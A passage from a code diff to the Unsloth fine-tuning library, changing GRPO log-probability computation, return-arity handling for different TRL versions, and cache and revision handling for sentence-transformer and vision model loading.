+                                _pg_v = {}
+                            _pg_vT = int(_pg_layout.flat_ids.shape[1])
+                            _pg_vS = int(_pg_layout.position_ids.max()) + 1
+                            _pg_old = _pg_v.get(_pg_layout.signature, (0, 0))
+                            _pg_v[_pg_layout.signature] = (
+                                max(_pg_vT, _pg_old[0]),
+                                max(_pg_vS, _pg_old[1]),
+                            )
+                            unwrapped_model._unsloth_prefix_grouper_nograd_verified = _pg_v
+                            _pg_use = True
+                        else:
+                            _pg_u = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                            )
+                            if _pg_u is None:
+                                _pg_u = set()
+                            if _pg_diff >= _PG_TOL_KILL:
+                                _pg_u.add(_pg_layout.signature)
+                                unwrapped_model._unsloth_prefix_grouper_nograd_unsafe = _pg_u
+                            _pg_use = False
+                    except Exception as _pg_err3:
+                        _pg_result = None
+                        _pg_use = False
+                        if isinstance(_pg_err3, torch.cuda.OutOfMemoryError):
+                            torch.cuda.empty_cache()
+                        os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify failed (fell back to packed): {_pg_err3!r}",
+                                flush = True,
+                            )
+                # else: no packed reference (packing off/failed) -> cannot verify; fall back.
+
+            if _pg_use and _pg_result is not None:
+                logprobs = _pg_result  # PrefixGrouper verified/trusted -> skip the loop
+                zipped_inputs = []
+            elif _pk_use and _pk_result is not None:
+                logprobs = _pk_result  # verified -> skip the loop
+                zipped_inputs = []
+            else:
+                # free packed intermediates before running the padded loop
+                _pk_hidden = _pk_sel = _pk_result = _pk_ref = None
+
             with _get_inference_mode_context_manager(model):
                 for (
                     input_ids_chunk,
@@ -1376,7 +1848,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         _extra_vision_kwargs["mm_token_type_ids"] = mm_token_type_ids_chunk
                     with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
                         if pixel_values is None:
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1384,7 +1856,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 pixel_attention_mask = pixel_attention_mask_chunk,
                                 image_sizes = image_sizes_chunk,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             completion_input_ids_chunk = input_ids_chunk[
                                 :, -(logits_to_keep + max_left_pad) :
@@ -1406,7 +1881,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         else:
                             # Essentially, for VLMs we do not go via the optimized path in models/,
                             # so we don't encounter the Flash Attn left-padding issue.
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1415,7 +1890,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 image_sizes = image_sizes_chunk,
                                 logits_to_keep = logits_to_keep + 1,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             logits_chunk = logits_chunk[:, :-1, :]
                             completion_input_ids_chunk = input_ids_chunk[:, -logits_to_keep:]
@@ -1442,12 +1920,17 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     # However, it seems that this line does not slow down or disrupt models.
                     device_synchronize()
                     all_logprobs_list.append(logprobs_chunk)
-                logprobs = torch.cat(all_logprobs_list, dim = 0)
+                if logprobs is None:  # padded fallback when packing was not used
+                    logprobs = torch.cat(all_logprobs_list, dim = 0)
+
                 entropies = None
 
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"
-
-            return logprobs.detach(), entropies  # logps, entropies
+            # aux loss is unused: it is off by default (router_aux_loss_coef set to 0 in models/rl.py)
+            # and explicit opt-in is rejected at trainer init, so this is always None (kept in the
+            # return for TRL >= 1.7.0's 3-tuple contract).
+            aux_loss = None
+            return logprobs.detach(), entropies, aux_loss  # logps, entropies, aux_loss
             # input_ids = input_ids[:, -logits_to_keep:]
             # For transformers<=4.48, logits_to_keep argument isn't supported, so here we drop logits ourselves.
             # See https://github.com/huggingface/trl/issues/2770
@@ -1466,6 +1949,24 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             # return  logps #  compute logprobs for the input tokens
 
     function = inspect.getsource(_get_per_token_logps_and_entropies)
+    if trl_version < Version("1.7.0"):
+        # TRL < 1.7.0 unpacks (logps, entropies) at every call site; TRL >= 1.7.0
+        # always unpacks (logps, entropies, aux_loss). Drop the aux_loss element so
+        # the return arity matches the installed TRL. Regex tolerates comment /
+        # whitespace drift on the return line; fail loud if the anchor ever stops
+        # matching rather than silently shipping a 3-tuple to older TRL.
+        new_function, n = re.subn(
+            r"return (logprobs\.detach\(\), entropies), aux_loss[^\n]*",
+            r"return \1  # logps, entropies",
+            function,
+        )
+        if n != 1:
+            raise RuntimeError(
+                "Unsloth GRPO: could not downgrade the per-token-logps return to a "
+                f"2-tuple for TRL {trl_version} (matched {n} times, expected 1). The "
+                "return line changed; update the arity gate in rl_replacements.py."
+            )
+        function = new_function
     return function
 
 
@@ -1522,6 +2023,34 @@ RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_accumulated_loss))
 RL_PRE_ITEMS["grpo_trainer"].append(grpo_compute_loss_slow)
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_update_SamplingParams))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_get_inference_mode_context_manager))
+# inspect.getsource inlines function bodies but not module imports, so constants the inlined
+# grpo functions reference (e.g. UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "import os as _unsloth_os\n"
+    "UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n"
+)
+# Sequence-packing gates, same values as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+)
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "try:\n"
+    "    import inspect as _unsloth_inspect\n"
+    "    from unsloth_zoo.rl_replacements import RL_REPLACEMENTS as _unsloth_zoo_RL\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = 'torch.where(_keep, new' in _unsloth_inspect.getsource(_unsloth_zoo_RL['grpo_compute_loss'])\n"
+    "except Exception:\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n"
+)
+# PrefixGrouper gate, same shape as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None\n"
+    "UNSLOTH_GRPO_PREFIX_GROUPER_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_PREFIX_GROUPER', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+    "if UNSLOTH_GRPO_PREFIX_GROUPER_ON:\n"
+    "    try:\n"
+    "        from unsloth.utils.prefix_grouper import build_group_layout as _pg_build_layout, prefix_grouper_enabled as _pg_enabled_fn, verify_on as _pg_verify_on, tol_ok as _pg_tol_ok, TOL_KILL as _PG_TOL_KILL\n"
+    "    except Exception:\n"
+    "        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False\n"
+)
 
 
 # Edit _get_per_token_logps to handle mixed precision
diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.py
index 7e43442bfd..4a1a555bcf 100644
--- a/unsloth/models/sentence_transformer.py
+++ b/unsloth/models/sentence_transformer.py
@@ -19,6 +19,7 @@ from ._utils import (
     SUPPORTS_BFLOAT16,
     resolve_model_class,
     resolve_encoder_attention_implementation,
+    maybe_prefetch_hf_snapshot,
 )
 import inspect
 import json
@@ -541,7 +542,12 @@ class FastSentenceTransformer(FastModel):
         return transformer_module
 
     @staticmethod
-    def _read_pooling_mode(model_name, token):
+    def _read_pooling_mode(
+        model_name,
+        token,
+        cache_dir = None,
+        revision = None,
+    ):
         """Read the pooling mode from modules.json, else return "mean"."""
         try:
             if os.path.exists(model_name) and os.path.exists(
@@ -549,7 +555,13 @@ class FastSentenceTransformer(FastModel):
             ):
                 modules_json_path = os.path.join(model_name, "modules.json")
             else:
-                modules_json_path = hf_hub_download(model_name, "modules.json", token = token)
+                modules_json_path = hf_hub_download(
+                    model_name,
+                    "modules.json",
+                    token = token,
+                    cache_dir = cache_dir,
+                    revision = revision,
+                )
 
             with open(modules_json_path, "r", encoding = "utf-8") as f:
                 modules_config = json.load(f)
@@ -571,6 +583,8 @@ class FastSentenceTransformer(FastModel):
                                 model_name,
                                 os.path.join(pooling_path, "config.json"),
                                 token = token,
+                                cache_dir = cache_dir,
+                                revision = revision,
                             )
                         break
 
@@ -950,7 +964,12 @@ class FastSentenceTransformer(FastModel):
             f.write(content)
 
     @staticmethod
-    def _module_path(model_name, token = None):
+    def _module_path(
+        model_name,
+        token = None,
+        cache_dir = None,
+        revision = None,
+    ):
         """Return the path to the modules.json file, or None."""
         try:
             if os.path.exists(model_name) and os.path.isdir(model_name):
@@ -958,14 +977,30 @@ class FastSentenceTransformer(FastModel):
                 return path if os.path.exists(path) else None
             else:
                 try:
-                    return hf_hub_download(model_name, "modules.json", token = token)
+                    return hf_hub_download(
+                        model_name,
+                        "modules.json",
+                        token = token,
+                        cache_dir = cache_dir,
+                        revision = revision,
+                    )
                 except:
                     return None
         except:
             return None
 
     @staticmethod
-    def _create_transformer_module(model_name, model, tokenizer, max_seq_length, trust_remote_code):
+    def _create_transformer_module(
+        model_name,
+        model,
+        tokenizer,
+        max_seq_length,
+        trust_remote_code,
+        token = None,
+        cache_dir = None,
+        revision = None,
+        module_subfolder = "",
+    ):
         """Helper to create and configure a Transformer module."""
         from sentence_transformers.models import Transformer
 
@@ -1052,7 +1087,45 @@ class FastSentenceTransformer(FastModel):
                 elif "tokenizer_args" in transformer_init_params:
                     transformer_kwargs["tokenizer_args"] = trust_remote_code_kwargs.copy()
 
-                transformer_module = Transformer(model_name, **transformer_kwargs)
+                # Build via Transformer.load so the saved modality_config is honored: plain
+                # Transformer(...) makes ST 5.x infer a "message" modality for chat-template
+                # models (e.g. Qwen3-Embedding), chat-wrapping inputs and degrading embeddings
+                # (#6881). Only use .load when it resolves a Hub id (accepts the kwargs or
+                # **kwargs); legacy ST 3.x/4.x load(input_path) is local-only with no modality
+                # bug, so fall back to the constructor.
+                transformer_module = None
+                transformer_load = getattr(Transformer, "load", None)
+                has_modules_json = (
+                    FastSentenceTransformer._module_path(
+                        model_name, token, cache_dir = cache_dir, revision = revision
+                    )
+                    is not None
+                )
+                if callable(transformer_load) and has_modules_json:
+                    load_params = inspect.signature(transformer_load).parameters
+                    accepts_var_kw = any(
+                        p.kind is inspect.Parameter.VAR_KEYWORD for p in load_params.values()
+                    )
+                    hub_capable = accepts_var_kw or any(
+                        key in load_params for key in ("token", "cache_folder", "revision")
+                    )
+                    if hub_capable:
+                        load_kwargs = {
+                            "token": token,
+                            "cache_folder": cache_dir,
+                            "revision": revision,
+                            "trust_remote_code": trust_remote_code,
+                            **transformer_kwargs,
+                        }
+                        # Resolve config/tokenizer from the module's saved subfolder
+                        # (modules.json "path"), like stock ST; "" (root) is a no-op.
+                        if module_subfolder:
+                            load_kwargs["subfolder"] = module_subfolder
+                        if not accepts_var_kw:
+                            load_kwargs = {k: v for k, v in load_kwargs.items() if k in load_params}
+                        transformer_module = Transformer.load(model_name, **load_kwargs)
+                if transformer_module is None:
+                    transformer_module = Transformer(model_name, **transformer_kwargs)
             finally:
                 # Restore original Auto* loading immediately
                 AutoModel.from_pretrained = original_model_from_pretrained
@@ -1135,6 +1208,8 @@ class FastSentenceTransformer(FastModel):
         max_seq_length,
         pooling_mode,
         trust_remote_code = False,
+        cache_dir = None,
+        revision = None,
     ) -> tuple[OrderedDict, bool]:
         """Load modules from modules.json, else fall back to hard-coded modules.
 
@@ -1145,7 +1220,9 @@ class FastSentenceTransformer(FastModel):
         from sentence_transformers.models import Pooling, Normalize
 
         modules = OrderedDict()
-        modules_json_path = FastSentenceTransformer._module_path(model_name, token)
+        modules_json_path = FastSentenceTransformer._module_path(
+            model_name, token, cache_dir = cache_dir, revision = revision
+        )
 
         if modules_json_path:
             with open(modules_json_path, encoding = "utf8") as f:
@@ -1162,6 +1239,10 @@ class FastSentenceTransformer(FastModel):
                         tokenizer,
                         max_seq_length,
                         trust_remote_code,
+                        token,
+                        cache_dir,
+                        revision,
+                        module_subfolder = module_config.get("path") or "",
                     )
                     modules[name] = transformer_module
                 else:
@@ -1171,7 +1252,13 @@ class FastSentenceTransformer(FastModel):
                         load_path = os.path.join(model_name, module_path)
                     else:
                         try:
-                            load_path = load_dir_path(model_name, module_path, token = token)
+                            load_path = load_dir_path(
+                                model_name,
+                                module_path,
+                                token = token,
+                                cache_folder = cache_dir,
+                                revision = revision,
+                            )
                         except Exception as e:
                             print(f"Unsloth Warning: Could not download module {module_path}: {e}")
                             continue
@@ -1191,14 +1278,23 @@ class FastSentenceTransformer(FastModel):
         )
 
         transformer_module = FastSentenceTransformer._create_transformer_module(
-            model_name, model, tokenizer, max_seq_length, trust_remote_code
+            model_name,
+            model,
+            tokenizer,
+            max_seq_length,
+            trust_remote_code,
+            token,
+            cache_dir,
+            revision,
         )
         modules["0"] = transformer_module
 
         hidden_size = getattr(model.config, "hidden_size", 768)
 
         if pooling_mode == "mean":
-            pooling_mode = FastSentenceTransformer._read_pooling_mode(model_name, token)
+            pooling_mode = FastSentenceTransformer._read_pooling_mode(
+                model_name, token, cache_dir = cache_dir, revision = revision
+            )
 
         modules["1"] = Pooling(word_embedding_dimension = hidden_size, pooling_mode = pooling_mode)
         modules["2"] = Normalize()
@@ -1386,6 +1482,45 @@ class FastSentenceTransformer(FastModel):
                 "Run `pip install sentence-transformers` to install it."
             )
 
+        # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights.
+        # Guard on not for_inference: that branch below never used these flags.
+        if not for_inference:
+            # sanity check, thanks Etherl:
+            if full_finetuning and (load_in_4bit or load_in_8bit):
+                print(
+                    "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
+                )
+                load_in_4bit = False
+                load_in_8bit = False
+                load_in_fp8 = False
+                load_in_16bit = False
+
+            if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
+                raise RuntimeError(
+                    "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
+                    "Also, we by default set `load_in_16bit = True`.\n"
+                    "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
+                    "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
+                )
+
+        # Prefetch so the ST load below is a cache hit. weights_at_root stays False (ST component
+        # weights live in per-module subfolders). Resolve the same cache the load uses: HF cache_dir,
+        # else cache_folder, else SENTENCE_TRANSFORMERS_HOME, else default -- a wrong cache misses the warm.
+        _st_prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Forward force_download so the refresh happens in the killable child, then clear it so the
+            # in-process ST load reuses the warm cache instead of re-downloading over unguarded Xet.
+            force_download = kwargs.get("force_download", False),
+        )
+        if _st_prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
         # if for_inference == True, skip Unsloth optimizations to avoid torch compile issues
         if for_inference:
             st_device = device_map
@@ -1416,27 +1551,16 @@ class FastSentenceTransformer(FastModel):
                 if k in kwargs:
                     st_kwargs[k] = kwargs[k]
 
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
+            _st_cache = kwargs.get("cache_dir") or kwargs.get("cache_folder")
+            if _st_cache is not None:
+                st_kwargs["cache_folder"] = _st_cache
+
             st_model = SentenceTransformer(model_name, **st_kwargs)
             return st_model
 
-        # sanity check, thanks Etherl:
-        if full_finetuning and (load_in_4bit or load_in_8bit):
-            print(
-                "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
-            )
-            load_in_4bit = False
-            load_in_8bit = False
-            load_in_fp8 = False
-            load_in_16bit = False
-
-        if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
-            raise RuntimeError(
-                "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
-                "Also, we by default set `load_in_16bit = True`.\n"
-                "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
-                "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
-            )
-
+        # Load-mode validation already ran before the prefetch above.
         if "auto_model" not in kwargs:
             kwargs["auto_model"] = AutoModel
 
@@ -1533,7 +1657,8 @@ class FastSentenceTransformer(FastModel):
                 elif is_mpnet:
                     FastSentenceTransformer._patch_mpnet_v5()
 
-            # Load via native SentenceTransformer (bypasses Unsloth patching)
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
             st_model = SentenceTransformer(
                 model_name,
                 device = st_device,
@@ -1541,6 +1666,7 @@ class FastSentenceTransformer(FastModel):
                 token = token,
                 revision = revision,
                 model_kwargs = model_kwargs,
+                cache_folder = kwargs.get("cache_dir") or kwargs.get("cache_folder"),
             )
 
             # Store metadata for get_peft_model
@@ -1646,7 +1772,18 @@ class FastSentenceTransformer(FastModel):
 
         # No modules.json -> force 16-bit: saving is custom for these models and
         # 4-bit would need dequant in save_pretrained_merged, not worth it.
-        has_modules_json = FastSentenceTransformer._module_path(model_name, token) is not None
+        # Resolve the warmed cache: hf_hub_download ignores SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.
+        has_modules_json = (
+            FastSentenceTransformer._module_path(
+                model_name,
+                token,
+                cache_dir = kwargs.get("cache_dir")
+                or kwargs.get("cache_folder")
+                or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+                revision = revision,
+            )
+            is not None
+        )
 
         if not has_modules_json and load_in_4bit:
             print(
@@ -1656,6 +1793,12 @@ class FastSentenceTransformer(FastModel):
             load_in_4bit = False
             load_in_16bit = True
 
+        # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME.
+        # Point it at the warmed cache, but only when no explicit cache_dir was passed (which wins).
+        _st_cache_dir = kwargs.get("cache_folder") or os.environ.get("SENTENCE_TRANSFORMERS_HOME")
+        if _st_cache_dir is not None and "cache_dir" not in kwargs:
+            kwargs["cache_dir"] = _st_cache_dir
+
         try:
             model, tokenizer = FastModel.from_pretrained(
                 model_name = model_name,
@@ -1697,6 +1840,12 @@ class FastSentenceTransformer(FastModel):
             max_seq_length,
             pooling_mode,
             trust_remote_code = trust_remote_code,
+            # Same resolved cache as above so the fallback module loads hit the warm, not Xet.
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            # Same revision as the weight load so modules hit the warm (None = default branch).
+            revision = revision,
         )
 
         st_device = device_map
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 5ab55152db..729c191e83 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -37,10 +37,15 @@ from ._utils import (
     _get_text_only_config,
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
+    _select_moe_detection_targets,
     set_task_config_attr,
 )
 from ._utils import *
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..save import patch_saving_functions
 from ..models.loader_utils import is_distributed
 from unsloth_zoo.gradient_checkpointing import (
@@ -551,6 +556,7 @@ def _construct_vlm_processor_fallback(
     model_type,
     token,
     trust_remote_code,
+    cache_dir = None,
     local_files_only = False,
 ):
     """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs
@@ -568,6 +574,7 @@ def _construct_vlm_processor_fallback(
             tokenizer_name,
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Load tokenizer via PreTrainedTokenizerFast (bypasses tokenizer_class check)
@@ -576,6 +583,7 @@ def _construct_vlm_processor_fallback(
             padding_side = "left",
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Read tokenizer_config.json for special tokens: prefer the local file (offline
@@ -601,6 +609,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     "tokenizer_config.json",
                     token = token,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 with open(config_path, "r", encoding = "utf-8") as f:
@@ -632,6 +641,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 proc_class_name = PROCESSOR_MAPPING_NAMES.get(config.model_type)
@@ -729,7 +739,7 @@ class FastBaseModel:
 
         if unsloth_vllm_standby and os.environ.get("UNSLOTH_VLLM_STANDBY", "0") != "1":
             raise RuntimeError(
-                "Unsloth: UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1!"
+                "Unsloth: `unsloth_vllm_standby` is True, but environment variable `UNSLOTH_VLLM_STANDBY` is not set to 1!"
             )
 
         if model_types is None:
@@ -872,6 +882,9 @@ class FastBaseModel:
         # For debugging - we use a download counter to see if environments are not breaking or if HF is down
         get_statistics(kwargs.get("local_files_only", False))
 
+        # The base + tokenizer prefetch runs AFTER the load-mode validation below, so an invalid
+        # load_in_* combination fails without first downloading a snapshot.
+
         if dtype is None:
             dtype = torch.float16 if not SUPPORTS_BFLOAT16 else torch.bfloat16
         elif os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
@@ -968,6 +981,53 @@ class FastBaseModel:
             raise RuntimeError(
                 "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!"
             )
+
+        # Prefetch the repo (killable child) so the in-process load below is a cache hit. vLLM owns the
+        # weight download only when actually available; if fast_inference was requested but vLLM is
+        # missing, the load falls through in-process, so weights must still be warmed here.
+        _vllm_owns_weights = fast_inference and is_vLLM_available()
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = kwargs.get("revision"),
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            fast_inference = _vllm_owns_weights,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Warm a SEPARATE tokenizer repo only (model_name is covered above). Not model_name here: this
+        # runs before fast_inference_setup may remap the repo, so it would warm the wrong one.
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and _tokenizer_repo != model_name
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         _skip_modules = SKIP_QUANTIZATION_MODULES.copy()
         # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers.
         # Mamba fused kernels pass out_proj.weight directly to F.linear,
@@ -1136,6 +1196,17 @@ class FastBaseModel:
                     offload_embedding = offload_embedding,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = local_files_only,
+                    token = token,
+                    revision = kwargs.get("revision"),
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 if hasattr(model, "generate"):
                     model.fast_generate = make_fast_generate_wrapper(model.generate)
                     model.fast_generate_batches = error_out_no_vllm
@@ -1278,6 +1349,18 @@ class FastBaseModel:
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
 
+        # On the vLLM path the tokenizer warm was deferred (fast_inference_setup may remap model_name).
+        # Warm the now-final tokenizer repo so the load below hits the cache (a cached/local repo is a no-op).
+        if _vllm_owns_weights and isinstance(tokenizer_name, str) and tokenizer_name:
+            maybe_prefetch_hf_snapshot(
+                tokenizer_name,
+                token = token,
+                revision = kwargs.get("revision"),
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         # Fix _Unsloth_Patched_ prefix in local config files from old saves (issue #4085)
         if os.path.isdir(tokenizer_name):
             import json as _json
@@ -1315,6 +1398,7 @@ class FastBaseModel:
                         language = whisper_language,
                         task = whisper_task,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1327,6 +1411,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1337,6 +1422,7 @@ class FastBaseModel:
                             padding_side = "left",
                             token = token,
                             trust_remote_code = trust_remote_code,
+                            cache_dir = kwargs.get("cache_dir"),
                             local_files_only = lfo,
                         )
                     except Exception:
@@ -1355,6 +1441,7 @@ class FastBaseModel:
                         model_type_arch,
                         token,
                         trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _fe:
@@ -1440,6 +1527,7 @@ class FastBaseModel:
                     padding_side = "left",
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = kwargs.get("cache_dir"),
                     local_files_only = local_files_only,
                 )
                 model, _fallback_tok = patch_tokenizer(model, _fallback_tok)
@@ -1469,6 +1557,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception:
@@ -1478,6 +1567,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
 
@@ -1629,6 +1719,16 @@ class FastBaseModel:
             )
         else:
             _audio_kwargs = {}
+        # Remember the caller's ORIGINAL explicit leaf list for MoE expert
+        # detection. When an explicit list is routed through get_peft_regex for
+        # family scoping below, the generated regex carries get_peft_regex's full
+        # "mlp|feed_forward|ffn|dense" component block even when the caller named
+        # only attention leaves (q/k/v/o_proj). Keying expert detection on that
+        # regex would train the experts for an attention-only request. The
+        # original list carries the true leaf intent, so use it for MoE detection;
+        # only the auto (None / "all-linear") path relies on the regex, whose mlp
+        # block is the sole remaining MLP-intent signal on fused-expert models.
+        _moe_detect_target = target_modules if type(target_modules) in (list, tuple) else None
         if target_modules is None or target_modules == "all-linear":
             target_modules = get_peft_regex(
                 model,
@@ -1706,9 +1806,50 @@ class FastBaseModel:
             loftq_config, lora_dropout, bias, init_lora_weights, model
         )
 
-        # Auto-detect MoE models and populate target_parameters for expert layers
+        # Auto-detect MoE models and populate target_parameters for expert layers.
+        # Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+        # attention-only request does not train experts via get_peft_regex's mlp block,
+        # but only when MLP and language families are both still in scope. If the caller
+        # scoped MLP or language OFF (finetune_mlp_modules / finetune_language_layers
+        # False), the scoped regex already dropped the experts, so honor it instead of
+        # re-introducing the original list's gate/up/down leaves.
         if target_parameters is None:
-            target_parameters = get_moe_target_parameters(model, target_modules)
+            _moe_targets = _select_moe_detection_targets(
+                _moe_detect_target,
+                target_modules,
+                finetune_mlp_modules = finetune_mlp_modules,
+                finetune_language_layers = finetune_language_layers,
+            )
+            target_parameters = get_moe_target_parameters(model, _moe_targets)
+
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) target experts via
+        # target_modules, not fused Parameters. Extend either form PEFT accepts: a leaf
